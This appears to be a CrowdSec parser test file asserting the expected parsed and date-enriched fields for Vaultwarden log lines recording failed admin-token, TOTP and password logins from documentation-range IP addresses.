results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["time"] == "11:55:04.725" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][14].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["time"] == "11:55:04.725" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][15].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["server_time"] == "12:01:51" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["server_tz"] == "UTC" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["server_date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Parsed["time"] == "12:01:51.892" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][16].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["server_time"] == "12:01:51" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["server_tz"] == "UTC" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["time"] == "12:01:51.892" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["server_date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][17].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["server_time"] == "12:01:51" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["server_tz"] == "UTC" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["time"] == "12:01:51.892" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["server_date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][18].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["server_time"] == "12:01:51" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["time"] == "12:01:51.892" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["server_date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["server_tz"] == "UTC" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][19].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["server_date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["server_time"] == "12:01:51" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["server_tz"] == "UTC" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Parsed["time"] == "12:01:51.892" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][20].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["server_date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["server_tz"] == "UTC" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["time"] == "12:01:51.892" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["server_time"] == "12:01:51" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a18" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][21].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 22 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "16:10:11.219" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[2022-02-03 16:10:11.219][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-02-03T16:10:11.219Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-02-03T16:10:11.219Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "16:10:15.993" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[2022-02-03 16:10:15.993][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2022-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-02-03T16:10:15.993Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-02-03T16:10:15.993Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "16:10:14.593" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["date"] == "2022-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "[2022-02-03 16:10:14.593][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-02-03T16:10:14.593Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-02-03T16:10:14.593Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "[2022-02-03 16:10:30.702][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["date"] == "2022-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "16:10:30.702" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-02-03T16:10:30.702Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-02-03T16:10:30.702Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["date"] == "2022-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "[2022-02-03 16:10:35.376][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "16:10:35.376" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-02-03T16:10:35.376Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-02-03T16:10:35.376Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["time"] == "16:10:36.810" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["date"] == "2022-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "[2022-02-03 16:10:36.810][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-02-03T16:10:36.81Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-02-03T16:10:36.81Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["day"] == "03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "[2021-02-03 16:10:59.955][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["month"] == "02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "Vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["time"] == "16:10:59.955" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["date"] == "2021-02-03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["year"] == "2021" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "192.0.2.130" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2021-02-03T16:10:59.955Z" 